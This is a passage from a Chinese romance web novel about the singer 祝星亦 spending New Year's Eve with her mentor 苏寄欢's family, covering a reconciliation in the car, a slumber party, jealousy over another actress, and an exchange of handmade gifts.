哆嗦了会儿，白澜低下头，她咽了下口水，答：“这份工作是我给风荇投简历，经过星亦几轮审核才拿到的。” 她等对方再说些什么，想着要赶紧转动脑子去想回答，不过她说完对方就不再吭声了。 “苏小姐你先坐，我先收拾下东西。”白澜怕再被问什么问题，赶忙回自己屋子，留苏寄欢一个人在客厅。 好吓人。 白澜回到自己屋子，心怦怦跳。 也不知道星亦是怎么跟苏寄欢相处的，这个苏小姐有点像学校里的教导主任。 太可怕了，还好及时跑了。白澜揉一揉脸，让自己冷静下来。 刚刚差点就暴露自己是[星海］了。 还好还好，还好跑了。 等听到祝星亦在外面喊她，她才出来。 “苏老师，我还没跟你介绍，这是我的新助理，白澜。”祝星亦招呼白澜过来。 “嗯，刚刚聊过天了。”苏寄欢扫了眼白澜，旋即垂眸看祝星亦，声音轻轻，“你粉丝做的周边还挺好看。” 祝星亦没反应过来粉丝做的周边是什么，[星海］自发做了很多周边，开团很突然，截团也很突然，她自己都没留意过是哪些周边开了售了。 好在粉丝会亲手送她一些周边，她都把那些周边放在玻璃展示柜里，好好珍藏着。 “是……哪个周边？”祝星亦问，她不知道苏寄欢怎么会知道周边的事。 白澜快速回自己屋子里拿出闪烁狐星的周边，以及其他入的周边。她买周边一般都买复数，快速挑拣几样后，她双手捧着递给一脸冷淡的苏寄欢。 “苏小姐，你喜欢就送你好了。”白澜勉强笑说。 苏寄欢眉头微挑，一手抓起全部的周边揣兜里，“那我就收下了。” 祝星亦还没问白澜怎么有那么多周边时，苏寄欢问：“收拾好了就下楼吧，允声还在等着呢。” “那白澜……”祝星亦看向白澜。 苏寄欢笑问：“白澜有时间的话，也去我家吃顿饭吧？” “没时间。”白澜急忙答道，“正好我还能回家吃顿年夜饭，我等下收拾一下就回家了。” 话音刚落，白澜跑回屋子里收拾行李。 “走吧。”苏寄欢没多停留，邀祝星亦出门。 坐进车里，忽然没了声音。 金允声在开车，祝星亦和苏寄欢坐在后座。 除夕夜灯火通明，红色金色的光交织着，再过几个小时，整个世界都将会喧嚣起来。 新年的意义是岁时更替，新旧交接。 祝星亦偷偷瞄身旁的苏寄欢，清隽冷峻的人穿着深咖色大衣，内搭黑色高领毛衣，黑色西裤，高跟短靴，波澜静谧的眼看着窗外，疏离而又遥远。 又是这模样。 光影闪过，映照两人的脸。 有些事不想留到明天，不想留到明年。 “苏老师，你是不是生我气了。”祝星亦蜷着手指问。 如果不是生气，苏寄欢肯定不会冷冷冰冰地对她。 上次综艺就是这副模样，又重现了。 “是不是因为我要断绝师徒关系，你才生我气的。”她垂下头，“你说，是不是。” 听到这话，苏寄欢目光下敛，手揣在兜里，挺直的背往后靠去。她摸到了闪烁狐星，身子放松了些，修长的指在兜里摩挲着这个小玩意儿，一下一下又一下。 过了会儿，她微扬着下巴否认，“没有的事。” 第64章 我在她家留宿 “没有还不理我。”祝星亦恼了，“一句话也不说。” 苏寄欢转头看她，“我没有跟你说话吗？” “没有。” “对，我就是生气了。”说完，苏寄欢盯着她，平淡的目光生出冰冷，“我不能生你的气吗？你说出那样的话，我就不能生你的气吗？” 祝星亦被问住了，她别开脸不想回答。 她也不是不想回答，她只是不知道怎么回答。在这件事上，她觉得她有足够的理由去反驳苏寄欢，可是这件事解决之后，她又觉得是自己不对了。 然而苏寄欢忽然抓住她的手，逼迫她转回头。 她看着苏寄欢微皱的眉下翻涌着痛楚的眼，心上忍不住一颤。 “为什么对你来说，开始这段关系很简单，结束这段关系也很简单？你要全凭你的感受，然后无视我吗？你要怎样就怎样，我必须全力配合你，凭什么？”苏寄欢攥着她的手，攥得紧紧的。 想到白天那番话，苏寄欢感到喉咙处一阵干涩，她笑着，又笑得不好看，“所以对于你来说，我算什么呢？我是透明的风，是你裙角的灰尘，还是你不需要的装饰画？” 她看着眼前的人，一脸自嘲，“所以，星星，我算什么呢？我是你招之即来挥之即去的玩物吗？为什么遇到一件小小的事情就要想着逃避呢？为什么……” “可是我没有逃避，我明明是在面对。”祝星亦哑着声音说，“正因为我在乎你，所以我不想让你卷进来。我自己做错了我自己承担就好，难道要我哭着求着你保护我吗？我又不是小孩子，我也可以有我自己的处理办法。” 她哑着嗓子的剖白，字字如锤，敲碎了苏寄欢固有认知。 我不是小孩子，我不需要你保护我。 苏寄欢瞳孔骤缩，没来由地一阵害怕。 是啊，祝星亦不是需要她保护的孩子，祝星亦并不那么需要她。 从始至终，祝星亦好像也没那么需要她。 她们之间更像是纯粹的利益关系，甚至她都没有给祝星亦提供多少利益。 “是啊，你不是小孩子。”她喃喃着，唇瓣微颤，话语里藏着几分自己都未察觉的无措，“你不是小孩子。” 呼吸有些不太顺畅，她低着头低了很久，摇摇头，“不好意思，是我没有站在你的角度上想这些事。反正事情也解决了，那就让这件事翻篇好不好？” 快点翻篇，这样可以快点无视这些解决不了的东西。 她看向祝星亦，“但是你以后不要随便说断绝关系好不好？有什么事就好好面对，没有什么是过不去的坎儿，但断绝关系对我来说……” 她声音有些发抖，祝星亦抬眸看她。 她顿了顿，说：“断绝关系对我来说太残忍了，你不要这样对我，好吗？” 近似乞求点话，祝星亦听了怎么也不好受，只得点头说：“知道了，以后不轻易说了。那你……也别生我气了。” 这下苏寄欢才露出久违的笑，眼睛眯着，唇角翘起，“好，不生气，今晚过个好年。” “可是我什么也没带，怎么去你家？”祝星亦有点介意这个，回回都空着手去，这未免也太不礼貌了，“要不你带我去商场，我去买点东西。” “不用了。”苏寄欢揉揉眉心，有些事情解决不了只能搁置着，但眼前的问题总算解决了，她轻松不少。 她松了松紧握着祝星亦手的手，抬眼，声音轻轻，“你不用准备什么东西，你人过去就好。” 苏菱住在新应区，有山有水景色宜人。只是离市中心稍远了点儿，等到达苏菱家里，已经快八点了。 车库里停了很多辆车，祝星亦有些紧张，今晚来的人估计不少。 刚下车，苏以薇匆匆赶来招呼：“你们终于到了，快，马上开饭了，就差你们了。” “走吧。”苏寄欢拍拍祝星亦，带她去电梯处。 电梯在三楼停下，叮的一声，门开了。电梯门口一个看手机的年轻女人抬头，打量了祝星亦一眼，然后朝苏寄欢颔首：“四姐，来了啊。” 女人齐肩发，眸子沉黑，奶白色毛衣西裤套装，干净利落，脖子手上戴着复杂的银色饰品。 打完招呼，她的视线又落到祝星亦身上，“姐，我怎么称呼她？” 苏寄欢抓着祝星亦的手腕往一旁站了站，“喊她星星姐就好。” 她抬手跟祝星亦介绍：“苏蔓语，平面模特，比你小一岁，你喊她蔓蔓就好。” 苏蔓语冲祝星亦点头，“星星姐，你好。” “你好。”祝星亦含笑，“我好像看到过你的社交账号，你比照片还好看。” 苏蔓语顿时眉开眼笑，“真的吗？我……” “你不是要下楼吗？”苏寄欢打断她们的聊天，按了下电梯，邀苏蔓语进去，“下去吧。” 苏蔓语挑眉，大步跨到祝星亦身侧，娴熟地挽上祝星亦的手臂笑说：“我下去就是为了接你们，现在你们既然上来了，那就一起去用餐吧。” 苏蔓语冲祝星亦眨了下眼，“走吧，星星姐。” 说着，挽着祝星亦往餐厅走。 苏寄欢看看自己的手，空空如也，旋即大步迈过去跟在祝星亦身边。 苏蔓语探头跟苏寄欢挥挥手，“姐，晚上星星姐留宿吗？” “留。”苏寄欢有点跟不上两个人的步子，她们走太快了。 苏蔓语晃晃祝星亦手臂，“星星姐，吃完年夜饭，我们这些小辈准备开个slumberparty，你既然留的话，我们一起玩呗。” 祝星亦转头，向苏寄欢投向询问的目光。 “你想玩就玩。”苏寄欢道。 “好啊。”祝星亦点头，“那苏老师来玩吗？” “我……” “她懂什么slumberparty，我们玩就好了。”苏蔓语笑吟吟的，搡着一旁的祝星亦瞄了眼苏寄欢，继续道：“她年纪大了，兴许十点就睡了，咱们可是要玩到两三点的。哦，你平时的作息时间是……” “我平时也是两三点才睡呢。”祝星亦眼睛一下子亮了起来，身子不自觉地凑近苏蔓语，满脸期待地追问：“除了咱俩，还有谁？人多不多？” 苏蔓语嘴角上扬，露出两颗俏皮的虎牙，掰着手指头兴致勃勃地介绍：“多着呢，黛珊、如仪，还有年纪小点儿的琳琳、小沫和安琪，热闹着呢。” 说到这儿，她像是突然想起什么，胳膊亲昵地搭上祝星亦的肩膀，“我到时候带你挨个认识，保证大家都喜欢你。哦*，对了，我们还有个小群，黛珊每年除夕夜都在群里发大红包，手气好能抢不少呢，你赶紧加进来领红包。” “好，谢谢你。”祝星亦忙不迭掏出手机，手指灵活地操作着，不消片刻，两人就互加好友，顺利进了群。 苏寄欢在一旁看着，凑到近前，刚张了张嘴想问：“那个……” 苏蔓语手臂在空中轻快地挥了挥，直接截住她的话头，脸上笑意未减：“姐，你可别打小群的主意啊，这都是我们年轻人的小天地，你总不能进吧？” 说着，顺势揽住祝星亦的胳膊，脚下生风，带着祝星亦继续大步往前走，嘴里还不停念叨着，“走走走，我们先吃年夜饭，对了，桌游玩不玩？今晚还有超刺激的开盲盒挑战，保准好玩到尖叫。” “那当然OK。”祝星亦比了个OK手势。 两人说说笑笑地走远了，苏寄欢就那样愣在原地，过了好一会儿，她才缓缓回过神来，迈着略显沉重的步伐朝着餐厅走去。 走廊尽头是宽敞餐厅，餐厅中央是张很大的圆桌，祝星亦估算不出来能坐多少人，但依苏寄欢来前跟她讲的那些亲戚，估计到时候她人都还没认全，饭就吃完了。 苏寄欢随便找了个位置，抬手拉开椅子示意祝星亦坐下，“坐这里。” 祝星亦老老实实坐下，身后的人弯下腰凑在她耳畔说：“等下你不用管别人，吃你的饭就好，有想吃的夹不到的跟我说。” 祝星亦哦了一声。 她倒没有非要吃什么的想法，来前她便想过了，这饭吃不安生，也放不开，等吃完她要回屋子里吃点小零食填填肚子。 想着，她东西还在车里放着没拿下来，刚刚一过来就直奔餐厅。 “苏老师，我今晚住哪里？”祝星亦小声问。 陆陆续续有人进餐厅，上次私宴见过的人跟她打招呼，她跟那些人致意，侧着身子问身后的苏寄欢。 苏寄欢怔了下，手指抠着椅子，想了会儿，准备给个答案，苏蔓语拉开旁边的椅子坐下说：“住客房，这里客房很多，随便你住。” “这样啊，那等下吃完饭可以带我过去吗？我想先收拾下东西。”祝星亦问。 “好啊，我带你。”苏蔓语笑着说。 台词都被抢了，苏寄欢盯着交谈的两人失语了一阵儿，马上抬手拍拍祝星亦的肩，“我带你过去，不用麻烦她了。” 转身坐到椅子上，苏寄欢拿来茶水给她倒上，“不过今天还是不要熬太晚了，明早还要去祈福。” 祝星亦忙问：“去哪里？鹿芜观吗？” 苏蔓语：“星星姐，你怎么知道鹿芜观的？” “我之前去鹿芜观里，恰好遇到苏老师了。” 苏蔓语说了句原来是这样，又说：“之前四姐的老师程小姐经常去鹿芜观里做义工，后来她去世后，四姐就接过程小姐的担子，常去那里。不过我们一般初一早上去太宁观，只有四姐会在下午去鹿芜观，一天要两趟呢。” 祝星亦没有听苏寄欢讲过这个程小姐，想着苏寄欢赶两趟，转过头跟她商量：“那苏老师我也跟着你好了，上午去太宁观，下午去鹿芜观。” 这下苏寄欢脸上才有轻松的笑意，“好。” 苏蔓语凑过来跟祝星亦说：“星星姐，你知道程小姐吗？她叫程悦，四姐回国后很艰难，她帮了不少忙。但后面她意外去世了，真是可惜。她有一个侄女，叫程偌菲，她没毕业四姐就签了她，还给了她很多资源，算是感谢程小姐之前的恩情吧。” 程偌菲？ 那次私宴，祝星亦听苏寄欢提过这个人，虽然有了解这个程偌菲，但她一次都没有见过程偌菲。 程偌菲确实是[苏盛］里比较力捧的人，代言和影视资源都不错，营销公关也很靠谱。 怎么说都比自己好太多。 艺域顾着苏寄欢这一层关系，会挤点资源捧她了。风荇上道了不少，毕竟她们捧的几个人都废了，只能再次把希望寄予祝星亦。 那几个艺人废掉，都是祝星亦这边动的手。 把内部消息卖给一些不怕死的大V，曝光几次，那些人就销声匿迹。风荇没办法继续培养这些人，只能把资源倾斜给混得最好的祝星亦。 虽然风荇还是不死心去培养新艺人，但祝星亦总归是越来越好了。但和程偌菲对比起来，好像太过寒酸。 程偌菲出道就有人捧，更重要的是程偌菲是[苏盛］的艺人，是苏寄欢亲自捧。 苏寄欢来捧程偌菲，恨不得什么好资源都奉上去。 程偌菲什么都不用做就可以拥有苏寄欢的一切，宠爱、资源、关心。 一切的一切。 心里有个地方被一根细绳子拉住了，她喝了口茶，舌尖酸涩得很。 “哦，明天程偌菲应该也会去鹿芜观吧，四姐和她每年都能在鹿芜观里碰到呢。”苏蔓语说。 “每年？”祝星亦对这个词有些震惊，“每年都……一起去吗？” 苏蔓语撑着下巴说：“也不是一起去，反正四姐每次去都会碰到她。” “这样啊。” 苏寄欢看祝星亦对这个事有兴趣，赶忙接过话头，“正好你还没见过偌菲，明天下午要是碰到她了，介绍你俩认识认识。” “好啊。”祝星亦不动声色地再饮一口茶。 好难喝的茶。 人到齐了，侍者陆续上菜。 对面坐着的双马尾女孩冲祝星亦招招手，“星星，你好。” 苏蔓语跟祝星亦介绍，“苏如仪，你叫她小如就行。” “你好。” 苏如仪望向苏寄欢，“四姐姐，我能跟你换位置吗？” 苏寄欢面色一沉，“为什么？” “上次私宴我不在，我想跟星星说说话。”苏如仪转向祝星亦，笑得灿烂，“星星，选秀的时候我还给你投了好多票呢，没想到能和你一起吃年夜饭。” 苏寄欢愣了愣，“你给她投票，我怎么不知道？” 她居然不知道这件事。 苏蔓语捂着嘴笑了起来，“你知道什么啊？你关注这些吗？我们和你都有代沟，那档综艺我也是全程关注呢。四姐，你快跟小如换位置吧，我跟星星我们三个聊天，你坐对面。” 说着，苏如仪站起来，转眼间就跑过来了。 “四姐姐，你快去对面。”苏如仪指了指对面的空位。 苏寄欢看向祝星亦。 祝星亦沉默着喝茶。 意识到苏寄欢看她，她才放下茶杯说：“嗯，我们三个人聊天也挺好的。” 苏寄欢以为自己听错了。 明明刚刚还很拘谨一直和自己走一起，现在刚认识的人说几句话就不让自己坐这里了？ “四姐，快用餐了，你赶紧入座。”苏蔓语催促。 苏寄欢只好起身给苏如仪让座，然后拍拍一旁的苏芙，“喂，起来，你去对面。” 正要拿筷子夹菜的苏芙愣住了，“为什么我去对面？” 苏寄欢推搡她，“快走。” 苏芙被这动作推得身子歪斜，“不儿，为什么是我……” 苏寄欢又推了她一把。 苏芙握着筷子，咬着牙起身去对面。 “为什么总是我啊！”苏芙气得拍大腿。 苏如仪给祝星亦看当时的投票截图，“当时要投好多票，讯易音乐榜、、星推榜、新人榜、fun社……我每天都像工作似的给你打卡投票，还注册了三十多个小号给你刷票，生怕你名次掉了。” 祝星亦一看，都是打卡截图，眼花缭乱的界面让她看傻了眼。怎么会有这么多榜单？ “三十多个小号，你操作得过来吗？”苏寄欢疑惑。 苏蔓语嘁了一声，“就算操作不过来也要努力投票啊，你这个大明星一点都不懂我们这些追星人的努力，数据很重要的。” 苏寄欢是不太懂，赶忙要去看苏如仪的手机。 苏如仪握紧手机，不好意思道：“就是一些数据，你别看了，你也看不懂。” “我……” “今晚的盲盒卡牌你们准备好了没？”苏蔓语扯开话题，“琳琳上次买的那个有500张呢，够我们玩一晚上了。” “琳琳带了，就玩那个。” “什么卡牌？”苏寄欢探头问。 苏如仪转过头回答：“你就理解为真心话大冒险，抽到相应要求的卡牌要做到上面的要求，做不到就要喝酒了。” 苏寄欢忙嘱咐：“星星，少喝点，你们都少喝点，明天……” “哎呀，我就说你坐在这里很没劲吧。”苏蔓语嘟囔着，“我们又不是小孩子了，肯定知道少喝一点。” “是啊，明天还要去观里呢。”祝星亦夹起面前的菜咬了一口，“我们知道少喝点。” “就是就是。”苏如仪跟着附和。 “四姐，你先吃饭吧，我们聊天呢，你别老是插嘴。”苏蔓语收回目光，冲祝星亦扬扬下巴，“是不是啊星星姐。” 三人的目光齐齐望向祝星亦。 祝星亦夹起碗里的糖醋基围虾，咬了口，唇齿留香。 “是啊。”她又夹起秋葵嚼了嚼，没抬头，单单在嘴里嚼着菜。 “星……”苏寄欢欲要再说什么，三个人聊了起来。 饭后，苏寄欢探头道：“星星，我带你去客房。” “不用了。”苏如仪抢先帮忙拒绝，“我和蔓蔓姐带她去就行了，你还要和阿姨聊天呢，别管我们了。” 说完三个人起身和另外几个人汇合，热热闹闹走远了。 苏寄欢攥着拳跟过去。 客房在二楼，离她住的房间不算太远，过去的时候听到一群人说说笑笑。 门在开着，苏寄欢直接走进屋子，正笑着的苏觅琳转头看到苏寄欢，立马噤声。 苏寄欢再往屋子里走了两步，热闹的屋子寂静了。 “好了，星星姐你换完睡衣去四楼哦，我们也去换睡衣。”苏蔓语带几人离开。 走出屋子，几人窃窃私语。 “四姐好扫兴。” “她今晚不会也要跟我们一起玩吧？那多没意思，我不想跟她一起玩，感觉像被我妈监视着。” “放心，她不来。” “那真是太好了，不然真的很没劲。” “睡衣派对真的要穿睡衣？”客房门关上，苏寄欢好奇地问，“你们除了桌游和盲盒，还做什么吗？” “没有其他了吧，只是一起跨个年，平常我和我朋友也这样玩。” “原来是这样。”苏寄欢踱步到床边坐下。 祝星亦盯着她的动作，撇着嘴转过身子，又转回来，面无表情，“苏老师，你能先离开这里吗？” 苏寄欢听到自己的头咔吧咔吧响，她一脸错愕，“你……赶我走？” 祝星亦拿起床上毛茸茸的睡衣，深呼一口气，“我要换睡衣了。” 第65章 她睡我床上 苏寄欢看向她手里的东西，毛绒绒的米白色睡衣，乖得很。 “哦，你换吧。”苏寄欢点头，“更衣室在衣柜旁边。” 她一动不动坐在床上，坐了会儿，那人拿着睡衣踩着毛绒拖鞋走过来站在她面前。 苏寄欢仰脸，“嗯？怎么不去换？” 脸颊泛红的祝星亦抓紧睡衣，闷声说：“你在屋子里，我怎么换？” 苏寄欢听后双腿叠搭着，稍稍往后仰了下身子，眯着眼注视面前的小狐狸，旋即翘着唇角开口：“不能吗？” 她意味深长的目光落在小狐狸脸上许久，最终小狐狸咬着牙转身去更衣室。 苏寄欢打了个哈欠，伸完懒腰歪在床上，大手在身侧的被子上摸了摸，再翻身盯着更衣室。 更衣室里面窸窸窣窣，不多时，一只毛绒绒的小狐狸走出来，头发乱糟糟的，有几缕发丝还飞起来了。小狐狸脸也红扑扑的，眼里好像透着几分…… 嗯？生气？ 怎么气呼呼的？谁惹她了？ 苏寄欢坐起来，刚要说什么，祝星亦快步走到她跟前不悦道：“不要穿着衣服躺我床上，床是睡觉的地方，你衣服脏。” 本含笑准备夸一夸小狐狸可爱，这下给苏寄欢干沉默了。 这里……好像是她家诶…… 苏寄欢也没反驳，火速起身脱了大衣。 大衣里面是紧身高领毛衣，一脱，香香的热气喷薄而出，迷人的曲线毫无保留地展现出来。 苏寄欢踩着高跟鞋站在祝星亦身前，她不等祝星亦反应，脚步往前移了半分，低眸轻声问：“我裤子要脱吗？” “不……不用。”祝星亦忙不迭地别过脸退几步，“我要去四楼找她们了，你别穿着衣服躺上去。” 她没再多跟苏寄欢闲聊，转身要离开。 “你们玩到大概几点？”苏寄欢喊住她。 “估计零点之后了。” “知道了。”苏寄欢跟着走出房门，她手里拿着大衣，关上门后和祝星亦站在一起，偏头说：“你玩完跟我说一声，我晚点来找你。” “找我干什么。” “送你新年礼物。” 新年礼物？祝星亦想到自己送给苏寄欢的双面中国结，她已经把新编的结挂在包上了，但还不知道苏寄欢把那个结挂哪里了。 算了，也许对苏寄欢来说，那个结并不重要。 “谢谢你。”祝星亦没多说什么，踩着拖鞋去按电梯。 目送毛绒绒的小狐狸离开，苏寄欢晃晃悠悠到自己房间洗漱，然后掏出睡衣火速换上。做完这些，她抱着系着蝴蝶结的盒子、袋子来到祝星亦房间。 苏寄欢把礼物放在桌子上后关上门，在屋子里转了两圈，倦意袭来，她打了个哈欠，掀开被子睡下。 “最后一步，关灯。”苏寄欢从被窝里伸出手按下床边的开关。 /// 零点三十，苏黛珊往肚里灌半瓶啤酒，招招手让几个人停下，“今晚最后一个红包，抢完再玩一局就回去休息啊。” 每次大年初一早上七点还要去太宁观祈福，苏黛珊都起不来，回回都是被轰炸醒的。 要她们这些小辈说，大年初一睡到日上三竿才是好兆头。开年就起大早，那不就是预示一整年都要起早了？ “星亦，你明天下午要跟四姐去鹿芜观吗？”苏黛珊把卡牌收起来换另外一副，“我跟你说哦，她去那边可不只是拜一拜，她还要去那边帮忙呢。” 苏婵沫点点头附和道：“是啊是啊，她好久前骗我们跟她一起去鹿芜观，结果去那边又是清扫东西又是帮忙做饭。” “大年初一鹿芜观会施斋饭，会有很多人过去，四姐姐会帮忙做饭。你过去的话估计也是被拉着当义工，会忙到晚上，很辛苦呢。”苏如仪给祝星亦解释。 苏蔓语叹道：“我们去过一次就不会再上当了，她倒是抓到程偌菲当义工了，因为她总是会在大年初一下午碰到程偌菲。我记得去年她还主动问程偌菲去不去鹿芜观，程偌菲果断说去。” “她那天可高兴了。”苏黛珊说，“还跟我们夸程偌菲很善良。当时好像说的是……” “她说：‘你们都觉得跟我过去帮忙很辛苦，实则不然。做这些善事会让人很有成就感，你们不觉得，但偌菲这样觉得，她是个很善良的人，每年遇到她她都会帮忙做事，不像你们，懒惰。’” 苏如仪模仿着苏寄欢的口气说完，苏蔓语笑得直拍大腿，“对，四姐就是这样说的，但要我说，程偌菲也不一定真心想帮她，奈何她是程偌菲老板，没办法啊！” 说着，苏蔓语晃晃祝星亦的手臂说：“星星姐，你到时候千万别给她帮忙，净会指使人干活。大年初一就干活，那你就要干一整年的活了！” “是啊，别听她话。” “当自己是长辈，就会使唤人。” “她上次明明知道我考砸了，还故意当着大家的面问我成绩，气死我了！” “讨厌的大人，哼。星星姐你明天下午不要听她的话，你拜完找借口离开就好，不然就要待到晚上了。” “待到晚上？”祝星亦出声问。 “是啊，每年要忙到很晚，前年她送程偌菲回家，还给程偌菲买了礼物，说是耽误程偌菲太久了，感觉很抱歉。” “是……是吗？”祝星亦抄起啤酒喝了一口，“亲自送吗？” 啤酒凉，冰得她肚子难受，她皱着眉看向苏蔓语询问。 苏蔓语点头：“对，她每次都是自己开车去，那次就亲自送程偌菲回去了。” 不一会儿，几人七嘴八舌起来。 祝星亦看着自己手里的卡牌，字好像看不太清了。等一局结束，她跟几人说说笑笑离开这间房子。 “星星姐，晚安！” “星亦，晚安啊。” 走到自己房门前，祝星亦勉强笑着跟她们挥手再见，“嗯，晚安。” “记得定个闹钟。” “好。” 等几人的身影消失，祝星亦手握在门把手上沉默许久才推门进去。 程偌菲…… 祝星亦在心里默念这个名字。 她沉默地走到洗手间洗漱，洗完澡双目无神地站在洗手台镜子前刷牙。 苏寄欢和程偌菲关系这么好吗？是上下级，是老板和被力捧的大明星，也是受惠者和恩人亲人的关系。这种关系好近，已经近到无法形容的地步了。 看苏蔓语她们对程偌菲的了解程度，苏寄欢应该也带程偌菲见过她家人了吧。更重要的是，当初苏寄欢回国，是程偌菲的小姨施予援手，种种关系…… 是不是都比自己亲密？ “咳……”她刷着牙咳嗽起来，匆忙冲了下嘴，然后抬头看自己因为剧烈咳嗽有些红的眼。 她的眼很红，脸也因为喝了太多酒红扑扑的。 祝星亦很少听苏寄欢讲程偌菲，这三个字也只在上次私宴和今晚的年夜饭上听过。明明关系那么亲密，为什么很少听她讲出口呢？ 酒喝得太多，她头有点晕，不想再想这个问题，匆匆擦完脸去床上坐下。 她低头看手机，一点多了，这个时间苏寄欢早就睡了吧。 算了，不喊她了。祝星亦关掉手机，掀开被子躺进被窝里。 一进被窝，祝星亦感受到一阵无与伦比的温暖。奇怪。 她伸手关掉灯。 翻身，她的腿碰到一个柔软、热乎乎的身子。 什么东西？！ “我劁鬼啊！” 祝星亦来不及思考，快速掀开被子滚到床下，哆哆嗦嗦打开灯爬到一旁。 只见床上被吵醒的鬼伸出了手臂，素白蕾丝花边的衣袖微微往下滑了下，露出叠戴的金玉镯子。 祝星亦定睛一看，慌忙站起来。 “苏……苏老师？”祝星亦难以置信地往床边走了一步，看被窝里的人迷迷糊糊扒着被子转过头，她倒吸一口凉气，“你……你怎么睡在我床上？” 苏寄欢捂着眼适应了一会儿亮光，保持这个动作好一会儿才懒懒散散地从被窝里坐起来。 她穿的是薄绒睡袍，带子系得松松散散，那头柔顺的发有些乱，衬得她有一股颓废的美感。 苏寄欢眼睛困得睁不开，揉揉头转过脸回应祝星亦的问题：“哦，等困了，就睡你床上了。” 祝星亦瞪着眼摊手：“Why？为什么要睡我床上？你……” “我困了嘛。”苏寄欢仰着头打了个哈欠，然后开始伸懒腰。 她的声音有点低，也有点懒洋洋的，听起来有点像在跟祝星亦撒娇。 祝星亦拽着衣角，想到关于鹿芜观的乱七八糟的事不甚开心，瞪了苏寄欢一眼冷冷道：“你困了就回你屋子，我还要睡觉。” 苏寄欢揉揉头发掀开被子从床上走下来，她抱着礼物走到床边又坐了下去，熟练得这张床好像是她要就寝的地方似的。 “你先拆礼物。”苏寄欢拍拍盒子，“给你的新年礼物，新年快乐。” 祝星亦掐着手指去拿其中一个盒子，刚弯腰拿起盒子，盒子另一端被苏寄欢拽住了。 祝星亦满脸疑惑。 苏寄欢则拍拍身旁的位置，“你坐下来。” 说着，她松手，把床上的礼物抱在怀里，“你坐下来慢慢拆。” “知道了。”祝星亦转身坐下。 拆开第一个礼物，是相机，佳能R3。 “我发现你有时候总是喜欢拿手机拍拍拍，拍天空，拍小鸟，拍树叶。你喜欢拍照，那我就买个相机送给你。”苏寄欢帮忙把盒子放在一边，“明天去观里，正好可以带上你的相机，你想拍什么就可以拍什么。” “谢谢。”祝星亦把相机放到一旁，继续拆下一个。 苏寄欢愣了下，她以为祝星亦会非常开心呢，怎么就……只说了一句谢谢？ 难不成不是很喜欢？她抿着嘴看祝星亦拆下一个礼物。 拆开第二个礼物，毛绒绒的狐狸玩偶，右耳朵上是颗金色星星，尾巴上是红色蝴蝶结。 祝星亦看到这个礼物时顿了一下，欣赏了很久才拿出来放在手里抚摸。 苏寄欢见状忙说：“我给你定制的小狐狸玩偶，灵感来源于你粉丝给你做的周边[闪烁狐星］，但我觉得这个玩偶更好看点，所以我给它起了个名字，叫[狐光熠熠］。这个玩偶我早就定做了，专门等到今天给你。” 苏寄欢自豪地说完，祝星亦低声问：“为什么要抄别人的名字？” “抄……别人的名字？”苏寄欢不解，“没有吧……” “《小马宝莉》里有个角色叫[星光熠熠］。” 苏寄欢咋舌：“星光熠熠不是一个很普通的词语吗？” “说了你也听不懂。”祝星亦嘟囔一声，然后把玩偶随意丢在一旁，“你有空自己查一下。” 说了也听不懂……好伤人的一句话。 苏寄欢有点紧张地啃手指头。 难道这两个礼物，小狐狸一个也不喜欢？ 她深吸一口气，看祝星亦拆第三件礼物。 拆开第三件礼物，是一条红白相间的围巾，围巾底部垂着编织的星星，仔细看看围巾，还有狐狸爪子镂空。 这是……这是…… 祝星亦抚摸着围巾柔软的触感，一时间说不出话来。 “我织的，是不是还不错？”苏寄欢弯着眉毛，等待祝星亦夸赞。 她在剧组的时候，闲下来就学习织围巾。这种细致的活儿她从来没有做过，还在片场问了旁人怎么才能织得更好看。 苏寄欢觉得手工制作的礼物才最珍贵，比如她就很喜欢祝星亦给她编的手绳，还有那个漂亮的双面结。 祝星亦编的结纹样复杂，一看就知道花了多少心思。她没舍得挂出来，每天都塞包里带着，生怕弄脏了。 “我这个织法是……”苏寄欢正要跟祝星亦分享自己的织围巾心得，哪知祝星亦一脸不快地打断她。 祝星亦：“你就织了一条吗？” 苏寄欢纳闷：“你想要两条吗？你想要的话，我等……” “我送你的结就是两条，你一条我一条。”祝星亦随意折了下围巾放回袋子里，“你怎么就织一条围巾？” “我……” “礼物收到了，谢谢你，新年快乐。”祝星亦没再吭声，抱着三件礼物随便放到桌子上，转身送客：“苏老师，很晚了，明天还要早起呢，既然你已经很困了，你赶紧回去休息吧。” 预料的反应一个都没有，苏寄欢不明白问题出在哪了，起身问：“你是不喜欢这些礼物吗？” “挺喜欢的，苏老师，很晚了。”祝星亦迈步到门口打开房门下逐客令，“快些回去休息吧。” 苏寄欢没辙，回头看了眼被冷落的礼物们，嗯了声匆匆离开。 祝星亦关上门反锁，房间归于寂静。她靠着门站了好久，大步流星走到三件礼物面前，拿出相机拍下围巾和狐狸玩偶。 这条围巾是苏寄欢亲手织给她的，她戴上围巾感受这条围巾的柔软，随后小心取下折好放到盒子里，再抱着狐狸玩偶爬到床上。她把玩偶放在苏寄欢睡的那一侧，轻轻为玩偶盖好被子，关灯睡觉。 但无论如何她都是睡不着的。 翻来覆去，最终，她伸手拉过狐狸玩偶抱在怀里，这才慢慢有了倦意。 不要想有的没的了，祝星亦对自己说。 昨夜喝酒太多的缘故，早上她醒来一阵头痛。她转过头来看不到狐狸玩偶，身子在温暖的被窝里咕涌几下，发现玩偶已经滚在她腰边了。 祝星亦伸了个懒腰，随后一手拿出玩偶举起来。看着这只憨傻憨傻的狐狸，她捏捏狐狸耳朵自言自语：“早上好啊苏老师。” 出发去太宁观前，祝星亦快些在屋子里收拾东西。刚收拾完准备出门，听见屋外有人敲门。 她开门，见来人是苏寄欢。 苏寄欢穿着深灰色呢子大衣，一头柔顺的发束在脑后，冷郁的身姿，像剔透的琉璃。 “走，去太宁观。”苏寄欢笑着邀请她出来。 她拿起包要出门，苏寄欢拦住她。 “怎么了？”祝星亦问。 苏寄欢忽然指了下自己的脖子。 祝星亦顺着她的动作看去，她脖子上系着一条红白相间的围巾，不仔细看的话，织围巾和她昨天送的那条大差不差。 “你……”祝星亦疑惑她要做什么。 苏寄欢嘴角挂着笑，“你昨天不是说想要我们一人一条围巾吗？正好我妈妈这边有工具，我连夜赶着织了一条出来。” 她揉了下围巾有些遗憾，“但是我有点害怕织不完，所以织得比较粗糙。不过还好，不仔细看的话不会发现有什么问题。” 苏寄欢说完，拍拍祝星亦的肩说：“你把你的围巾也戴上，快，我们下楼坐车。” 她见祝星亦愣着，便自己走到屋子里去桌子那边翻出盒子里的围巾。一转眸，看到枕头上的狐狸玩偶。 被讨厌的玩偶……在枕头上…… 难道说…… 